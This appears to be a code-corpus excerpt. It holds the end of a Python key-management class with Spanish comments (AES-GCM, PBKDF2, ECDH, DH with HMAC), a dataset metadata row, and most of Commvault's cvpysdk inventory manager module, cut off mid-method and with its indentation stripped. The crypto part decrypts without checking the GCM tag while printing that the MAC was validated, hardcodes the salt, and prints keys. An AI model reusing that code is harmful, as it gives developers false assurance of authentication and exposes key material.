cipher = AES.new(decryption_key, AES.MODE_GCM, bytes.fromhex(nonce))
try:
decrypted_data = cipher.decrypt(bytes.fromhex(received_ciphertext))
print("\nMAC validated: Data was encrypted by someone with the shared secret passphrase")
print("All allies have passphrase - SYMMETRIC encryption!!!")
print("Data descifrada: " + str(decrypted_data))
except Exception as e:
print("\nFallo de la validación MAC durante la desencriptación. Auntenticación no garantizada")
return (decrypted_data).decode(), {}
async def encryption_AE(self, passphrase: str, sensitive_data: str):
# Key generation
key_gen = b"/\<KEY>" # Key derivation
key = PBKDF2(passphrase, key_gen) # Contraseña basada en key derivation
print("AES Encryption Key: " + str(key))
# Data sensitiva para cifrar
print("Data enviada para cifrar: " + "\n" + str(sensitive_data))
# Encriptación usando AES GCM
cipher = AES.new(key, AES.MODE_GCM) # https://pycryptodome.readthedocs.io/en/latest/src/cipher/aes.html
ciphertext, tag = cipher.encrypt_and_digest(sensitive_data.encode('utf-8'))
nonce = cipher.nonce
# Mensaje transmitido
# ciphertext: resultado de los datos cifrados,
# tag: Codigo de autenticacion de mensajes MAC
# nonce: vector de inicializacion (solo ocurre una vez)
transmitted_message = ciphertext.hex()
meta = {
'tag': tag.hex(),
'nonce': nonce.hex(),
}
print("\nMensaje transmitido: " + str(transmitted_message))
print(type(transmitted_message))
return f'{transmitted_message}@{nonce.hex()}', meta
async def decrypt_AE(self, passphrase: str, transmitted_message: str, nonce: str):
received_msg = transmitted_message
print("\nMensaje recibido: " + str(received_msg))
received_kdf_salt = b"/\x84F\xc5\xddA^k\xd2.C\x19'\x1a2\x9c" # Key derivation
received_ciphertext, received_nonce = bytes.fromhex(transmitted_message), bytes.fromhex(nonce)
# Generar decryption key con la contraseña y salt
decryption_key = PBKDF2(passphrase, received_kdf_salt)
print("Decryption Key: " + str(decryption_key))
# Validar MAC y descifrar, si la validación MAC falla, ValueError exception se va a mostrar
cipher = AES.new(decryption_key, AES.MODE_GCM, received_nonce)
try:
decrypted_data = cipher.decrypt(received_ciphertext)
print("Data descifrada: " + str(decrypted_data))
except ValueError as mac_mismatch:
print("\nFallo de la validación MAC durante la desencriptación. Auntenticación no garantizada")
return decrypted_data.decode('utf-8'), {}
async def ecdh_get_shared_key_platform(self, public_key_IoT: str) -> (str, dict):
# Input para shared key Platform: ID clave pública IoT
# Returns shared key IoT
# Plataforma genera su clave pública y privada (y la pública se almacena en la bbdd para el IoT)
private_key = ec.generate_private_key(ec.SECP384R1())
public_key = private_key.public_key()
str_public_key = public_key.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo).decode('utf-8')
# 1. Obtener clave pública en string de la bd y pasar a objeto key
public_key_IoT_pem = public_key_IoT.encode('utf-8')
loaded_public_key_IoT = load_pem_public_key(public_key_IoT_pem)
# Returns shared key platform
shared_key = private_key.exchange(ec.ECDH(), loaded_public_key_IoT)
return shared_key.hex(), {'generated-public-key': str_public_key}
async def hmac_DH_GetSharedKey_Platform(self, dh_parameters: str, public_key_IoT: str, pk_signature: str) -> (
str, dict):
# A la API le llega el id de la clave y de ahí saca el string de parámetros y de la public key del IoT
# En este punto, el KMS ya tiene los dh_parameters y la clave pública en string y debe convertirlo al objeto original
# 1. Conversión a bytes y deserialización de parámetros
dh_parameters_pem = dh_parameters.encode("utf-8")
loaded_dh_params = load_pem_parameters(dh_parameters_pem)
# 2. Conversión a bytes y deserialización de clave pública IoT
public_key_IoT_pem = public_key_IoT.encode('utf-8')
loaded_public_key_IoT = load_pem_public_key(public_key_IoT_pem)
# Comprueba que la clave pública del IoT es correcta
if (not isinstance(loaded_dh_params, dh.DHParameters) or not isinstance(loaded_public_key_IoT, dh.DHPublicKey)):
sys.exit('Protocol error: Platform received a wrong message!')
# Comprueba la autenticidad con la HMAC recibida
h_IoT = hmac.HMAC(public_key_IoT_pem, hashes.SHA256())
h_IoT.update(b"Platform public key hash")
h_IoT.verify(bytes.fromhex(pk_signature))
# 3. Plataforma genera sus propias claves privadas y públicas
platform_private_key = loaded_dh_params.generate_private_key()
platform_public_key = platform_private_key.public_key() # El KMS debe guardar esta clave pública junto con los parámetros y str_signature en la bbdd con id platform-HMACDH
platform_pk_pem = platform_public_key.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)
str_platform_pk = platform_pk_pem.decode('utf-8')
# HMAC
h = hmac.HMAC(platform_pk_pem, hashes.SHA256())
h.update(b"Platform public key hash")
signature = h.finalize()
str_signature = signature.hex()
shared_key = platform_private_key.exchange(loaded_public_key_IoT)
# Devuelve la clave en string, el IoT debe enviar al KMS luego de nuevo esta clave para que la almacene
return shared_key.hex(), {'generated-public-key': str_platform_pk, 'signature': str_signature,
'parameters': dh_parameters}
| es | 0.84531 | # Key generation # Key derivation # Contraseña basada en key derivation # Data sensitiva para cifrar # Encriptación usando AES GCM # https://pycryptodome.readthedocs.io/en/latest/src/cipher/aes.html # Mensaje transmitido # ciphertext: resultado de los datos cifrados, # tag: Codigo de autenticacion de mensajes MAC # nonce: vector de inicializacion (solo ocurre una vez) # Generate decryption key from passphrase and salt # Key generation # Key derivation # Contraseña basada en key derivation # Data sensitiva para cifrar # Encriptación usando AES GCM # https://pycryptodome.readthedocs.io/en/latest/src/cipher/aes.html # Mensaje transmitido # ciphertext: resultado de los datos cifrados, # tag: Codigo de autenticacion de mensajes MAC # nonce: vector de inicializacion (solo ocurre una vez) # Key derivation # Generar decryption key con la contraseña y salt # Validar MAC y descifrar, si la validación MAC falla, ValueError exception se va a mostrar # Input para shared key Platform: ID clave pública IoT # Returns shared key IoT # Plataforma genera su clave pública y privada (y la pública se almacena en la bbdd para el IoT) # 1. Obtener clave pública en string de la bd y pasar a objeto key # Returns shared key platform # A la API le llega el id de la clave y de ahí saca el string de parámetros y de la public key del IoT # En este punto, el KMS ya tiene los dh_parameters y la clave pública en string y debe convertirlo al objeto original # 1. Conversión a bytes y deserialización de parámetros # 2. Conversión a bytes y deserialización de clave pública IoT # Comprueba que la clave pública del IoT es correcta # Comprueba la autenticidad con la HMAC recibida # 3. Plataforma genera sus propias claves privadas y públicas # El KMS debe guardar esta clave pública junto con los parámetros y str_signature en la bbdd con id platform-HMACDH # HMAC # Devuelve la clave en string, el IoT debe enviar al KMS luego de nuevo esta clave para que la almacene | 1.851135 | 2 |
cvpysdk/activateapps/inventory_manager.py | CommvaultEngg/cvpysdk | 35 | 6623567 | # -*- coding: utf-8 -*-
# --------------------------------------------------------------------------
# Copyright Commvault Systems, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# --------------------------------------------------------------------------
"""Main file for performing operations on inventory manager app under Activate.
Inventories, Inventory, Assets & Asset are the four classes defined in this file
Inventories: class for representing all inventories in the commcell
Inventory: class for representing a single inventory in the commcell
Assets: class for representing all assets in an inventory
Asset: class to represent single asset in an inventory
Inventories:
__init__() -- initialise object of the Inventories class
_get_inventories() -- Gets all inventories in the commcell
_response_not_success() -- parses through the exception response, and raises SDKException
refresh() -- refresh the Inventories from the commcell
get_properties() -- returns the properties for given inventory name
has_inventory() -- Checks if a given inventory name exists in the commcell or not
get() -- returns the Inventory class object for given inventory name
add() -- add inventory to the commcell
delete() -- delete inventory from the commcell
Inventory:
__init__() -- initialise object of the Inventory class
_response_not_success() -- parses through the exception response, and raises SDKException
_get_inventory_properties() -- Gets all the properties of this inventory
_get_schedule_object() -- returns the schedule class object associated to this inventory
_get_data_source_handler_object() -- returns the datasource and default handler object for this inventory
refresh() -- refresh the properties of the inventory
get_assets() -- returns the Assets class object for this inventory
share() -- shares inventory with other user or user group
start_collection() -- starts collection job on this inventory
get_inventory_data() -- returns data from inventory
Inventory Attributes
-----------------
**properties** -- returns properties of the inventory
**index_server_name** -- returns the index server name associated with this inventory
**_index_server_cloud_id** -- returns the index server cloudid associated with this inventory
**inventory_name** -- returns the inventory name
**inventory_id** -- returns the inventory id
**security_associations** -- returns the security associations blob of this inventory
**schedule** -- returns the schedule object associated with this inventory
**data_source** -- returns the DataSource object associated with this inventory
**handler** -- returns the default handler object for this inventory
Assets:
__init__() -- initialise object of the Assets class
refresh() -- refresh the assets associated with inventory
add() -- adds asset to the inventory
get() -- returns the instance of Asset class based on given asset name
has_asset() -- returns whether given asset exists or not in inventory
delete() -- deletes the asset from the inventory
_get_assets_properties() -- returns the assets properties
_response_not_success() -- parses through the exception response, and raises SDKException
Assets Attributes:
----------------
**assets** -- returns the assets details as json
Asset:
__init__() -- initialise object of the Asset class
_get_properties() -- returns the properties of the asset
refresh() -- refresh the asset associated with inventory
start_collection() -- starts collection job on this asset
get_job_history() -- returns the job history details of this asset
get_job_status() -- returns the job status details of this asset
get_asset_prop() -- returns the asset property value for the given property name
Asset Attributes:
-----------------
**asset_id** -- returns the id of asset
**asset_name** -- returns the name of asset
**asset_type** -- returns the type of asset
**crawl_start_time** -- returns the last crawl start time of asset
**asset_props** -- returns the properties(name/value pair) of asset
**asset_status** -- returns the status of asset
**inventory_id** -- returns the inventory id of this asset
"""
import copy
from ..activateapps.ediscovery_utils import EdiscoveryClientOperations
from ..activateapps.constants import InventoryConstants
from ..schedules import Schedules
from ..exception import SDKException
class Inventories():
"""Class for representing all inventories in the commcell."""
def __init__(self, commcell_object):
"""Initializes an instance of the Inventories class.
Args:
commcell_object (object) -- instance of the commcell class
Returns:
object - instance of the Inventories class
"""
self._commcell_object = commcell_object
self._update_response_ = commcell_object._update_response_
self._cvpysdk_object = commcell_object._cvpysdk_object
self._services = commcell_object._services
self._inventories = None
self._API_INVENTORIES = self._services['EDISCOVERY_INVENTORIES']
self._API_DELETE_INVENTORY = self._services['EDISCOVERY_INVENTORY']
self.refresh()
def _response_not_success(self, response):
"""Helper function to raise an exception when reponse status is not 200 (OK).
Args:
response (object) -- response class object,
received upon running an API request, using the `requests` python package
"""
raise SDKException('Response', '101', self._update_response_(response.text))
def _get_inventories(self):
"""Gets all inventories from the commcell
Args:
None
Return:
list(dict) -- list Containing inventory details dict
Raises:
SDKException:
if response is empty
if response is not success
"""
output = {}
flag, response = self._cvpysdk_object.make_request(
'GET', self._API_INVENTORIES
)
if flag:
if response.json() and 'inventoryList' in response.json():
inventories = response.json()['inventoryList']
for inventory in inventories:
output[inventory['inventoryName'].lower()] = inventory
return output
raise SDKException('Inventory', '103')
self._response_not_success(response)
def add(self, inventory_name, index_server, name_server=None):
"""Adds inventory to the commcell with given inputs
Args:
inventory_name (str) -- Name of the inventory
index_server (str) -- Index server name
name_server (list) -- Name server assets which needs to be added to inventory
Returns:
object -- Instance of Inventory Class
Raises:
SDKException:
if input data type is not valid
if failed to add inventory
if Index Server doesn't exists in commcell
"""
if not isinstance(inventory_name, str) or not isinstance(index_server, str):
raise SDKException('Inventory', '101')
req_json = copy.deepcopy(InventoryConstants.INVENTORY_ADD_REQUEST_JSON)
if name_server:
asset_json = copy.deepcopy(InventoryConstants.ASSET_ADD_REQUEST_JSON)
for server in name_server:
asset_json['name'] = server
req_json['assets'].append(asset_json)
req_json['inventoryName'] = inventory_name
if not self._commcell_object.index_servers.has(index_server):
raise SDKException('Inventory', '102', "Given index server name not exists on this commcell")
index_server_obj = self._commcell_object.index_servers.get(index_server)
req_json['analyticsEngineCloud']['cloudId'] = index_server_obj.cloud_id
req_json['analyticsEngineCloud']['cloudDisplayName'] = index_server_obj.cloud_name
flag, response = self._cvpysdk_object.make_request(
'POST', self._API_INVENTORIES, req_json
)
if flag:
if response.json() and 'errorResp' in response.json():
err_resp = response.json()['errorResp']
if 'errorCode' in err_resp and err_resp['errorCode'] != 0:
raise SDKException(
'Inventory',
'102',
f"Failed to create inventory with error [{err_resp['errorMessage']}]")
elif 'inventoryList' in response.json():
inventory = response.json()['inventoryList'][0]
inventory_id = inventory['inventoryId']
self.refresh()
return Inventory(self._commcell_object, inventory_name, inventory_id)
raise SDKException('Inventory', '102', f"Failed to create inventory with response - {response.json()}")
raise SDKException('Inventory', '105')
self._response_not_success(response)
def delete(self, inventory_name):
"""Deletes the inventory from the commcell
Args:
inventory_name (str) -- Inventory name to be deleted
Returns:
None
Raises:
SDKException:
if unable to find inventory
if failed to delete inventory
if input type is not valid
"""
if not isinstance(inventory_name, str):
raise SDKException('Inventory', '101')
if not self.has_inventory(inventory_name):
raise SDKException('Inventory', '106')
flag, response = self._cvpysdk_object.make_request(
'DELETE', self._API_DELETE_INVENTORY % self._inventories[inventory_name.lower()]['inventoryId']
)
if flag:
if response.json() and 'errorResp' in response.json():
err_resp = response.json()['errorResp']
if 'errorCode' in err_resp and err_resp['errorCode'] != 0:
raise SDKException(
'Inventory',
'102',
f"Failed to Delete inventory with error [{err_resp['errorMessage']}]")
self.refresh()
else:
raise SDKException('Inventory', '107')
else:
self._response_not_success(response)
def refresh(self):
"""Refresh the inventories associated with the commcell."""
self._inventories = self._get_inventories()
def get_properties(self, inventory_name):
"""Returns a properties of the specified Inventory
Args:
inventory_name (str) -- name of the inventory
Returns:
dict - properties for the given inventory name
"""
return self._inventories[inventory_name.lower()]
def has_inventory(self, inventory_name):
"""Checks if a inventory exists in the commcell with the input name.
Args:
inventory_name (str) -- name of the inventory
Returns:
bool - boolean output to specify whether the inventory exists in the commcell or not
Raises:
SDKException:
if type of the inventory name argument is not string
"""
if not isinstance(inventory_name, str):
raise SDKException('Inventory', '101')
return self._inventories and inventory_name.lower() in map(str.lower, self._inventories)
def get(self, inventory_name):
"""Returns a Inventory object for the given inventory name.
Args:
inventory_name (str) -- name of the inventory
Returns:
obj -- Object of Inventory class
Raises:
SDKException:
if inventory doesn't exists in commcell
if inventory_name is not of type string
"""
if not isinstance(inventory_name, str):
raise SDKException('Inventory', '101')
if self.has_inventory(inventory_name):
inventory_id = self._inventories[inventory_name.lower()]['inventoryId']
return Inventory(self._commcell_object, inventory_name, inventory_id)
raise SDKException('Inventory', '106')
class Inventory():
"""Class for performing operations on a single inventory"""
def __init__(self, commcell_object, inventory_name, inventory_id=None):
"""Initialize an object of the Inventory class.
Args:
commcell_object (object) -- instance of the commcell class
inventory_name (str) -- name of the Inventory
inventory_id (str) -- id of Inventory
default: None
Returns:
object - instance of the Inventory class
"""
self._commcell_object = commcell_object
self._update_response_ = commcell_object._update_response_
self._services = commcell_object._services
self._cvpysdk_obj = self._commcell_object._cvpysdk_object
self._inventory_id = None
self._inventory_name = inventory_name
self._inventory_props = None
self._index_server_name = None
self._index_server_cloud_id = None
self._security_associations = None
self._schedule = None
self._data_source = None
self._handler = None
self._API_GET_INVENTORY_DETAILS = self._services['EDISCOVERY_INVENTORY']
self._API_SECURITY = self._services['SECURITY_ASSOCIATION']
self._API_SECURITY_ENTITY = self._services['ENTITY_SECURITY_ASSOCIATION']
self._API_GET_DEFAULT_HANDLER = self._services['EDISCOVERY_GET_DEFAULT_HANDLER']
if not inventory_id:
self._inventory_id = self._commcell_object.activate.inventory_manager().get(inventory_name).inventory_id
else:
self._inventory_id = inventory_id
self.refresh()
self._ediscovery_client_obj = EdiscoveryClientOperations(class_object=self, commcell_object=commcell_object)
def _response_not_success(self, response):
"""Helper function to raise an exception when reponse status is not 200 (OK).
Args:
response (object) -- response class object,
received upon running an API request, using the `requests` python package
"""
raise SDKException('Response', '101', self._update_response_(response.text))
def _get_inventory_properties(self):
""" Get inventory properties from the commcell
Args:
None
Returns:
dict -- Properties of inventory
"""
flag, response = self._cvpysdk_obj.make_request(
'GET', self._API_GET_INVENTORY_DETAILS % self._inventory_id
)
if flag:
if response.json() and 'inventoryList' in response.json():
inventory_props = response.json()['inventoryList'][0]
self._index_server_name = inventory_props['analyticsEngineCloud']['cloudDisplayName']
self._index_server_cloud_id = inventory_props['analyticsEngineCloud']['cloudId']
self._inventory_name = inventory_props['inventoryName']
self._security_associations = inventory_props['securityAssociation']['associations']
return inventory_props
raise SDKException('Inventory', '104')
self._response_not_success(response)
def refresh(self):
"""Refresh the inventory details for associated object"""
self._inventory_props = self._get_inventory_properties()
self._schedule = self._get_schedule_object()
self._data_source, self._handler = self._get_data_source_handler_object()
def get_assets(self):
"""Returns the Assets class instance for this inventory
Args:
None
Returns:
object -- Instance of Assets class
"""
return Assets(self._commcell_object, self.inventory_name, self.inventory_id)
def start_collection(self):
"""Starts collection job on this inventory
Args:
None
Return:
None
Raises:
SDKException:
if failed to start collection job
"""
return self._ediscovery_client_obj.start_job()
def share(self, user_or_group_name, allow_edit_permission=False, is_user=True, ops_type=1):
"""Shares inventory with given user or user group in commcell
Args:
user_or_group_name (str) -- Name of user or group
is_user (bool) -- Denotes whether this is user or group name
default : True(User)
allow_edit_permission (bool) -- whether to give edit permission or not to user or group
ops_type (int) -- Operation type
Default : 1 (Add)
Supported : 1 (Add)
3 (Delete)
Returns:
None
Raises:
SDKException:
if unable to update security associations
if response is empty or not success
"""
if not isinstance(user_or_group_name, str):
raise SDKException('Inventory', '101')
request_json = copy.deepcopy(InventoryConstants.INVENTORY_SHARE_REQUEST_JSON)
external_user = False
association_response = None
if ops_type == 1 and len(self.security_associations) > 1:
association_request_json = copy.deepcopy(InventoryConstants.INVENTORY_SHARE_REQUEST_JSON)
del association_request_json['securityAssociations']
association_request_json['entityAssociated']['entity'][0]['seaDataSourceId'] = int(self.inventory_id)
# get security blob for this data source type entity - 132
flag, response = self._cvpysdk_obj.make_request(
'GET', self._API_SECURITY_ENTITY % (132, int(self.inventory_id)), association_request_json
)
if flag:
if response.json() and 'securityAssociations' in response.json():
association_response = response.json(
)['securityAssociations'][0]['securityAssociations']['associations']
else:
raise SDKException('Inventory', '102', 'Failed to get existing security associations')
else:
response_string = self._commcell_object._update_response_(response.text)
raise SDKException('Response', '101', response_string)
if '\\' in user_or_group_name:
external_user = True
if is_user:
user_obj = self._commcell_object.users.get(user_or_group_name)
user_id = user_obj.user_id
request_json['securityAssociations']['associations'][0]['userOrGroup'][0]['userId'] = int(user_id)
request_json['securityAssociations']['associations'][0]['userOrGroup'][0]['_type_'] = "13"
request_json['securityAssociations']['associations'][0]['userOrGroup'][0]['userName'] = user_or_group_name
elif external_user:
request_json['securityAssociations']['associations'][0]['userOrGroup'][0]['groupId'] = 0
request_json['securityAssociations']['associations'][0]['userOrGroup'][0]['_type_'] = "62"
request_json['securityAssociations']['associations'][0]['userOrGroup'][0][
'externalGroupName'] = user_or_group_name
else:
grp_obj = self._commcell_object.user_groups.get(user_or_group_name)
grp_id = grp_obj.user_group_id
request_json['securityAssociations']['associations'][0]['userOrGroup'][0]['userGroupId'] = int(grp_id)
request_json['securityAssociations']['associations'][0]['userOrGroup'][0]['_type_'] = "15"
request_json['securityAssociations']['associations'][0]['userOrGroup'][0][
'userGroupName'] = user_or_group_name
request_json['entityAssociated']['entity'][0]['seaDataSourceId'] = self.inventory_id
request_json['securityAssociations']['associationsOperationType'] = ops_type
if allow_edit_permission:
request_json['securityAssociations']['associations'][0]['properties']['categoryPermission']['categoriesPermissionList'].append(
InventoryConstants.EDIT_CATEGORY_PERMISSION)
# Associate existing associations to the request
if ops_type == 1 and len(self.security_associations) > 1:
request_json['securityAssociations']['associations'].extend(association_response)
flag, response = self._cvpysdk_obj.make_request(
'POST', self._API_SECURITY, request_json
)
if flag:
if response.json() and 'response' in response.json():
response_json = response.json()['response'][0]
error_code = response_json['errorCode']
if error_code != 0:
error_message = response_json['errorString']
raise SDKException(
'Inventory',
'102', error_message)
# update association list by refreshing inventory
self.refresh()
else:
raise SDKException('Inventory', '111')
else:
response_string = self._commcell_object._update_response_(response.text)
raise SDKException('Response', '101', response_string)
def _get_data_source_handler_object(self):
"""returns the data source and handler object associated with this inventory
Args:
None
Returns:
obj,obj -- Instance of DataSource object,Instance of Handler object
Raises:
SDKException:
if failed to get datasource or handler details
"""
flag, response = self._cvpysdk_obj.make_request(
'GET', self._API_GET_DEFAULT_HANDLER % self.inventory_id)
if flag:
if response.json() and 'handlerInfos' in response.json():
handler_list = response.json()['handlerInfos']
if not isinstance(handler_list, list):
raise SDKException('Inventory', '102', "Failed to get Datasource/Handler details")
handler_details = handler_list[0]
ds_name = handler_details['dataSourceName']
handler_name = handler_details['handlerName']
ds_obj = self._commcell_object.datacube.datasources.get(ds_name)
handler_obj = ds_obj.ds_handlers.get(handler_name)
return ds_obj, handler_obj
raise SDKException('Inventory', '102', 'Unknown response while fetching datasource details')
response_string = self._commcell_object._update_response_(response.text)
raise SDKException('Response', '101', response_string)
def _get_schedule_object(self):
"""Returns the schedule class object of schedule associated to this inventory
Args:
None
Returns:
object -- Instance of Schedule class
Raises:
SDKException:
if failed to find schedule
"""
return Schedules(self).get()
def get_inventory_data(self, handler_filter=""):
""" Executes handler for fetching data from inventory
Args:
handler_filter (str) -- Filter which needs to applied for handler execution
Returns:
dict -- Dictionary of values fetched from handler execution
Raises:
SDKExpception:
if error in fetching handler data
if input is not valid
"""
if not isinstance(handler_filter, str):
raise SDKException('Inventory', '101')
if not self._handler:
raise SDKException('Inventory', '102', 'No handler object initialised')
return self._handler.get_handler_data(handler_filter=handler_filter)
@property
def properties(self):
"""Returns the properties of this inventory as dict"""
return self._inventory_props
@property
def index_server_name(self):
"""Returns the index server name associated with this inventory"""
return self._index_server_name
@property
def index_server_cloud_id(self):
"""Returns the index server id associated with this inventory"""
return self._index_server_cloud_id
@property
def inventory_id(self):
"""Returns the inventory id associated with this inventory"""
return self._inventory_id
@property
def inventory_name(self):
"""Returns the inventory name associated with this inventory"""
return self._inventory_name
@property
def security_associations(self):
"""Returns the security blob associated with this inventory"""
return self._security_associations
@property
def schedule(self):
"""Returns the schedule class object for schedule associated with this inventory"""
return self._schedule
@property
def data_source(self):
"""Returns the DataSource class object for datasource associated with this inventory"""
return self._data_source
@property
def handler(self):
"""Returns the Handler class object for default handler associated with this inventory"""
return self._handler
class Assets():
"""Class to represent all assets in an inventory"""
def __init__(self, commcell_object, inventory_name, inventory_id=None):
"""Initialize an object of the Assets class.
Args:
commcell_object (object) -- instance of the commcell class
inventory_name (str) -- name of the Inventory
inventory_id (str) -- id of Inventory
default: None
Returns:
object - instance of the Assets class
"""
self._commcell_object = commcell_object
self._update_response_ = commcell_object._update_response_
self._services = commcell_object._services
self._cvpysdk_obj = self._commcell_object._cvpysdk_object
self._inventory_id = None
self._inventory_name = inventory_name
if not inventory_id:
self._inventory_id = self._commcell_object.activate.inventory_manager().get(inventory_name).inventory_id
else:
self._inventory_id = inventory_id
self._assets = None
self._API_INVENTORIES = self._services['EDISCOVERY_INVENTORIES']
self._API_ASSETS = self._services['EDISCOVERY_ASSETS']
self.refresh()
def _get_assets_properties(self):
"""gets the assets properties from inventory
Args:
None
Returns:
dict -- containing asset properties
"""
inv_mgr = self._commcell_object.activate.inventory_manager()
inv_obj = inv_mgr.get(self._inventory_name)
inv_obj.refresh()
assets = {}
for asset in inv_obj.properties['assets']:
name = asset['name'].lower()
assets[name] = asset
return assets
def refresh(self):
"""Refresh the assets details associated with this inventory"""
self._assets = self._get_assets_properties()
def _response_not_success(self, response):
"""Helper function to raise an exception when reponse status is not 200 (OK).
Args:
response (object) -- response class object,
received upon running an API request, using the `requests` python package
"""
raise SDKException('Response', '101', self._update_response_(response.text))
def has_asset(self, asset_name):
"""Checks whether given asset exists in inventory or not
Args:
asset_name (str) -- Name of the asset
Returns:
bool -- true if asset exists else false
"""
return self._assets and asset_name.lower() in self._assets
def get(self, asset_name):
"""Returns the asset object
Args:
asset_name (str) -- Name of the asset
Returns:
object -- Instance of Asset class
Raises:
SDKException:
if input is not valid
if asset doesn't exists in inventory
"""
if not isinstance(asset_name, str):
raise SDKException('Inventory', '101')
if not self.has_asset(asset_name):
raise SDKException('Inventory', '109')
return Asset(self._commcell_object, self._inventory_name, asset_name, self._inventory_id)
def add(self, asset_name, asset_type=InventoryConstants.AssetType.NAME_SERVER, **kwargs):
"""Adds asset to the inventory
Args:
asset_name (str) -- Name of the asset
asset_type (Enum) -- type of asset (Refer to InventoryConstants.AssetType class)
kwargs for FILE SERVER type Asset:
fqdn -- File server FQDN
os -- File Server OS type
ip -- File server IP
country_code -- Country code (ISO 3166 2-letter code)
country_name -- Country name
domain -- File Server Domain name(optional)
Returns:
object -- Instance of Asset class
Raises:
SDKException:
if input is not valid
if failed to add asset to inventory
"""
if not isinstance(asset_name, str) or not isinstance(asset_type, InventoryConstants.AssetType):
raise SDKException('Inventory', '101')
request_json = copy.deepcopy(InventoryConstants.ASSET_ADD_TO_INVENTORY_JSON)
request_json['inventoryId'] = int(self._inventory_id)
asset_json = copy.deepcopy(InventoryConstants.ASSET_ADD_REQUEST_JSON)
asset_json['name'] = asset_name
asset_json['type'] = asset_type.value
property_json = copy.deepcopy(InventoryConstants.ASSET_PROPERTY_JSON)
if asset_type.value == InventoryConstants.AssetType.FILE_SERVER.value:
for prop in InventoryConstants.ASSET_FILE_SERVER_PROPERTY:
prop_name = InventoryConstants.FIELD_PROPS_MAPPING[prop]
default_value = ""
if prop_name not in kwargs:
# if domain is not passed, then form domain from fqdn
if prop == InventoryConstants.FIELD_PROPERTY_DOMAIN:
default_value = kwargs.get(InventoryConstants.KWARGS_FQDN)
default_value = default_value.split(".", 1)[1]
# always use asset name as file server name
if prop == InventoryConstants.FIELD_PROPERTY_NAME:
default_value = asset_name
prop_json = copy.deepcopy(InventoryConstants.ASSET_PROPERTY_NAME_VALUE_PAIR_JSON)
prop_json['name'] = prop
prop_json['value'] = kwargs.get(prop_name, default_value)
property_json['propertyValues']['nameValues'].append(prop_json)
asset_json.update(property_json)
request_json['assets'].append(asset_json)
flag, response = self._cvpysdk_obj.make_request(
'PUT', self._API_INVENTORIES, request_json)
if flag:
if response.json() and 'errorResp' in response.json():
err_resp = response.json()['errorResp']
if 'errorCode' in err_resp and err_resp['errorCode'] != 0:
raise SDKException(
'Inventory',
'102',
f"Failed to add asset to inventory with error [{err_resp['errorMessage']}]")
self.refresh()
return Asset(self._commcell_object, self._inventory_name, asset_name, self._inventory_id)
raise SDKException('Inventory', '108')
self._response_not_success(response)
def delete(self, asset_name):
"""Delete the asset from the inventory
Args:
asset_name (str) -- Name of the asset
Returns:
None
Raises:
SDKException:
if input is not valid
if failed to delete the asset
if unable to find this asset in inventory
"""
if not isinstance(asset_name, str):
raise SDKException('Inventory', '101')
if not self.has_asset(asset_name):
raise SDKException('Inventory', '109')
request_json = copy.deepcopy(InventoryConstants.ASSET_DELETE_FROM_INVENTORY_JSON)
request_json['inventoryId'] = int(self._inventory_id)
if 'assetId' in self._assets[asset_name.lower()]:
request_json['assets'].append({'assetId': self._assets[asset_name.lower()]['assetId']})
else:
req = copy.deepcopy(InventoryConstants.ASSET_ADD_REQUEST_JSON)
asset_obj = self.get(asset_name)
asset_type = asset_obj.asset_type
# for file server asset, asset name will not be display name in backend delete request. so fetch fqdn
req['name'] = asset_obj.get_asset_prop(prop_name=InventoryConstants.FIELD_PROPERTY_DNSHOST)
req['type'] = asset_type
request_json['assets'].append(req)
flag, response = self._cvpysdk_obj.make_request(
'PUT', self._API_ASSETS % self._inventory_id, request_json)
if flag:
if response.json():
err_resp = response.json()['errorResp']
if 'errorCode' in err_resp and err_resp['errorCode'] != 0:
raise SDKException(
'Inventory',
'102',
f"Failed to delete asset from inventory with error [{err_resp['errorMessage']}]")
self.refresh()
return
raise SDKException('Inventory', '110')
self._response_not_success(response)
@property
def assets(self):
"""Returns the assets details associated with this inventory"""
return self._assets
class Asset():
"""Class to represent single asset in an inventory"""
def __init__(self, commcell_object, inventory_name, asset_name, inventory_id=None):
"""Initialize an object of the Asset class.
Args:
commcell_object (object) -- instance of the commcell class
inventory_name (str) -- name of the Inventory
asset_name (str) -- Name of the asset
inventory_id (str) -- id of Inventory
default: None
Returns:
object - instance of the Asset class
"""
self._commcell_object = commcell_object
self._update_response_ = commcell_object._update_response_
self._services = commcell_object._services
self._cvpysdk_obj = self._commcell_object._cvpysdk_object
self._inventory_id = None
self._inventory_name = inventory_name
if not inventory_id:
self._inventory_id = self._commcell_object.activate.inventory_manager().get(inventory_name).inventory_id
else:
self._inventory_id = inventory_id
self._asset_name = asset_name
self._asset_props = None
self._asset_id = None
self._crawl_start_time = None
self._asset_type = None
self._asset_status = None
self._asset_name_values_props = None
self.refresh()
self._ediscovery_client_obj = EdiscoveryClientOperations(class_object=self, commcell_object=commcell_object)
def _get_properties(self):
"""Returns the properties of this asset
Args:
None
Returns:
dict -- Containing properties of asset
"""
inv_mgr = self._commcell_object.activate.inventory_manager()
inv_obj = inv_mgr.get(self._inventory_name)
inv_obj.get_assets().refresh()
for asset in inv_obj.properties['assets']:
if asset['name'].lower() == self._asset_name.lower():
# for file server, we will not have asset id & crawl times
self._asset_id = asset.get('assetId', 0)
self._crawl_start_time = asset.get('crawlStartTime', 0)
self._asset_type = asset.get('type', 0)
self._asset_status = asset['status']
self._asset_name = asset['name']
self._asset_name_values_props = asset['propertyValues']['nameValues']
return asset
return {}
def refresh(self):
"""Refresh the asset details associated with this"""
self._asset_props = self._get_properties()
def get_job_history(self):
"""Returns the job history details of this asset
Args:
None
Returns:
list(dict) -- containing job history details
Raises:
SDKException:
if failed to get job history
if asset is not supported for this operation
"""
if self.asset_type != InventoryConstants.AssetType.NAME_SERVER.value:
raise SDKException('Inventory', '102', "Not supported other than Name Server asset type")
return self._ediscovery_client_obj.get_job_history()
def get_job_status(self):
"""Returns the job status details of this asset
Args:
None
Returns:
dict -- containing job status details
Raises:
SDKException:
if failed to get job status
if asset is not supported for this operation
"""
if self.asset_type != InventoryConstants.AssetType.NAME_SERVER.value:
